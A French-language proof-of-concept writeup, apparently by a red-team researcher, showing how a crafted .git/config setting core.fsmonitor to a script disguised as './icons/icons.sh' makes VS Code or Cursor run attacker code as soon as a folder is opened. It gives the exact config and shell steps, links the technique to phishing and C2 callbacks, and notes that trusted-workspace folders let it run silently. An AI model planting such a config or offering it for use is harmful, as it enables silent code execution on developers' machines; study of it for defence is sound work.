
Ceci est une preuve de travail pour abuser de "fsmonitor" contre IDE.
Ceci est un problème documenté (connu), mais je l'ai découvert lors de mes recherches et il est assez utile pour RT/PT.
Résumé : L'assistant FSMonitor est exécuté par git à chaque commande comme git status, git diff, etc., donc git lancera aveuglément le chemin que nous spécifions. Nos IDE exécutent git status automatiquement dès que vous ouvrez un dossier pour alimenter leur panneau SCM (Source Control Management) ;
Ce qui permet à git de lancer l'assistant configuré, qui exécute du code contrôlé par l'attaquant. Cette technique peut être utilisée lors de RT (Red Team) ou dans un scénario de compromission présumée avec n'importe quel C2 ou notre XRayC2 pour obtenir un callback qui échappe aux défenses réseau traditionnelles. (Bien sûr, des e-mails de phishing sont nécessaires pour tromper l'utilisateur final, mais ouvrir un dossier dans un IDE semble une opération normale).
Preuve de concept : git clone ce dépôt, ajoutez la configuration ci-dessous dans votre répertoire .git. Une fois fait, ouvrez le dossier modifié avec un IDE, une calculatrice devrait apparaître. (Je l'ai testé avec Code & Cursor). Ce POC est spécifique à macOS, adaptez-le selon votre environnement.
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Testé sur Code
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
Cela fonctionne car nous initialisons le dépôt puis ajoutons core.fsmonitor à un fichier (qui peut être une charge utile). Ainsi, ouvrir un dossier suffit pour exécuter votre code. La "plupart" des développeurs/utilisateurs ont ~/Downloads (et dossiers similaires de premier niveau) dans leur espace de travail de confiance, donc le PoC s'exécute silencieusement ; mais si un dépôt se trouve en dehors de ces chemins de confiance, l'IDE demandera "faire confiance à cet éditeur ?" avant de lire .git/config.